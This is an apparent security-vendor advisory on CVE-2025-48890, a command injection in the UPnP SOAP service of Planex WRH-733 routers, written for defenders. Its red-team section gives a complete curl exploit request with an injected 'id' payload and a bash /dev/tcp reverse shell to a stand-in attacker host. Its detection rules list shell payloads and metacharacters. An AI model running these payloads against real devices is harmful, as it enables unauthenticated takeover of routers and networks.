CVE-2025-48890

Executive Summary

CVE-2025-48890 is a critical OS Command Injection vulnerability affecting Planex WRH-733GBK and WRH-733GWH wireless routers. The flaw resides in the miniigd SOAP service, which fails to properly neutralize special elements in user-supplied input. A remote, unauthenticated attacker can send a specially crafted SOAP request to execute arbitrary OS commands on the device. With a CVSS score of 9.8, this vulnerability poses a severe risk to network integrity, confidentiality, and availability. No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time. However, given the critical nature and the lack of a patch, immediate mitigation measures are essential.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component remains isolated.
• Confidentiality Impact: High (C:H) – Full system compromise possible.
• Integrity Impact: High (I:H) – Attacker can modify system files and configurations.
• Availability Impact: High (A:H) – Denial of service or full device takeover.

Threat Level: Critical. The combination of remote exploitability, no authentication, and full system compromise makes this a top-priority vulnerability for any organization using Planex WRH-733GBK or WRH-733GWH devices.

Deep Dive & Mechanics

The vulnerability exists in the miniigd SOAP service, a component typically used for UPnP (Universal Plug and Play) functionality on embedded devices. The service processes SOAP requests to perform actions like port mapping or device discovery. Due to improper input validation, an attacker can inject OS commands into SOAP parameters (e.g., NewInternalPort, NewExternalPort, or NewRemoteHost). The service then passes these unsanitized inputs to a system shell (e.g., /bin/sh), leading to arbitrary command execution.

Attack Flow:

1. The attacker sends a crafted SOAP request to the device's UPnP endpoint (typically on TCP port 5000 or UDP 1900).
2. The request contains a malicious payload in one of the SOAP parameters, such as ; id; or $(cat /etc/passwd).
3. The miniigd service concatenates the input into a shell command without escaping or validation.
4. The OS executes the command, allowing the attacker to run arbitrary code with root privileges.

Root Cause: The lack of input sanitization in the SOAP parameter handling code. The developer likely used a function like system() or exec() directly with user input, rather than using safe APIs or proper escaping.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common OS command injection patterns.

Vulnerable Code (C-style pseudocode):

void handle_soap_action(char *param) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iptables -A INPUT -p tcp --dport %s -j ACCEPT", param);
    system(cmd);  // Vulnerable: param not sanitized
}

Patched Code (Hypothetical):

void handle_soap_action(char *param) {
    // Validate input: only allow numeric values
    if (!is_numeric(param)) {
        log_error("Invalid parameter");
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iptables -A INPUT -p tcp --dport %d -j ACCEPT", atoi(param));
    system(cmd);  // Safe: param is validated and converted to integer
}

Key Differences:

• Input validation: Patched code checks that the parameter is numeric.
• Safe API: Use of atoi() to convert to integer before use.
• Error handling: Invalid inputs are rejected.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Planex WRH-733GBK or WRH-733GWH router (firmware version unknown).
• Attacker: Kali Linux with curl and nc (netcat).
• Network: Both attacker and target on the same subnet (or attacker can reach target's UPnP port).

Exploitation Steps:

1. Identify the target: Use Shodan or local scanning to find devices with UPnP enabled on port 5000.
2. Craft the SOAP request: Use a tool like curl to send a malicious SOAP action. Example payload to execute id command:

   curl -X POST http://<target_ip>:5000/upnp/control/igd/ \
   -H "Content-Type: text/xml; charset=utf-8" \
   -H "SOAPAction: \"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"" \
   -d '<?xml version="1.0"?>
   <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
   <s:Body>
   <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
   <NewRemoteHost>; id; </NewRemoteHost>
   <NewExternalPort>1234</NewExternalPort>
   <NewProtocol>TCP</NewProtocol>
   <NewInternalPort>80</NewInternalPort>
   <NewInternalClient>192.168.1.100</NewInternalClient>
   <NewEnabled>1</NewEnabled>
   <NewPortMappingDescription>test</NewPortMappingDescription>
   <NewLeaseDuration>0</NewLeaseDuration>
   </u:AddPortMapping>
   </s:Body>
   </s:Envelope>'
   

3. Verify execution: The command output may be returned in the SOAP response or logged. Alternatively, set up a reverse shell:

   # On attacker machine:
   nc -lvnp 4444
   # In SOAP request, replace <NewRemoteHost> with:
   ; bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1;
   

Note: No public exploit code is available; the above is a conceptual example.

Blue Team (Defensive)

Detection and Response:

1. Monitor UPnP traffic: Look for unusual SOAP requests containing shell metacharacters (;, |, &, $, `).
2. Network segmentation: Isolate vulnerable routers from critical assets.
3. Honeypot deployment: Set up a fake UPnP service to capture exploitation attempts.
4. Log analysis: Check router logs for unexpected command execution or shell activity.
5. Incident response: If exploitation is detected, immediately disconnect the device and perform forensic analysis.

Indicators of Compromise (IOCs)

• Network IOCs:

  • SOAP requests to port 5000 containing shell metacharacters (e.g., ;, |, $).
  • Outbound connections from the router to unknown IPs on high ports (e.g., 4444, 1337).
  • Unusual DNS queries or HTTP requests from the router.

• Host IOCs:

  • Unexpected processes running on the router (e.g., /bin/sh, bash, nc).
  • Modified system files (e.g., /etc/passwd, /etc/shadow).
  • New user accounts or SSH keys.
  • Unusual cron jobs or startup scripts.

• File IOCs:

  • Presence of files like /tmp/.exploit or /var/run/malware.
  • Log entries in /var/log/messages or /var/log/syslog showing shell commands.

Detection Engineering

YARA Rule

rule CVE_2025_48890_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts in SOAP requests targeting Planex routers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48890"
    strings:
        $soap_action = "AddPortMapping" nocase
        $shell_meta1 = ";" ascii
        $shell_meta2 = "|" ascii
        $shell_meta3 = "$(" ascii
        $shell_meta4 = "`" ascii
        $shell_cmd1 = "id" ascii
        $shell_cmd2 = "cat /etc/passwd" ascii
        $shell_cmd3 = "bash -i" ascii
    condition:
        $soap_action and (
            $shell_meta1 or $shell_meta2 or $shell_meta3 or $shell_meta4 or
            $shell_cmd1 or $shell_cmd2 or $shell_cmd3
        )
}

Sigma Rule

title: CVE-2025-48890 OS Command Injection in Planex Routers
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SOAP requests with shell metacharacters targeting Planex WRH-733GBK/GWH
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 5000
        http.method: POST
        http.content_type: text/xml
        http.body|contains: 
            - ';'
            - '|'
            - '$('
            - '`'
    condition: selection
falsepositives:
    - Legitimate UPnP traffic with special characters (rare)
level: critical

Suricata Rule

alert tcp any any -> any 5000 (msg:"CVE-2025-48890 OS Command Injection in Planex Routers"; flow:to_server,established; content:"POST"; http_method; content:"text/xml"; http_content_type; content:"AddPortMapping"; http_client_body; pcre:"/(;|\||\$\(|`)/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable UPnP: If not required, disable the UPnP service on the router via the web interface or CLI.
2. Network segmentation: Place vulnerable routers behind a firewall that blocks inbound traffic to port 5000 from untrusted networks.
3. Monitor logs: Enable logging and monitor for suspicious SOAP requests.

Long-term Solutions:

1. Firmware update: Check Planex's website for a patched firmware. If unavailable, consider replacing the device.
2. Vendor notification: Contact Planex to request a security patch.
3. Alternative devices: Migrate to routers from vendors with active security support.

Workarounds:

• Use a reverse proxy or WAF (Web Application Firewall) to inspect and block malicious SOAP requests.
• Implement network access control lists (ACLs) to restrict UPnP traffic to trusted IPs only.

Valters IT
Securing Digital Frontiers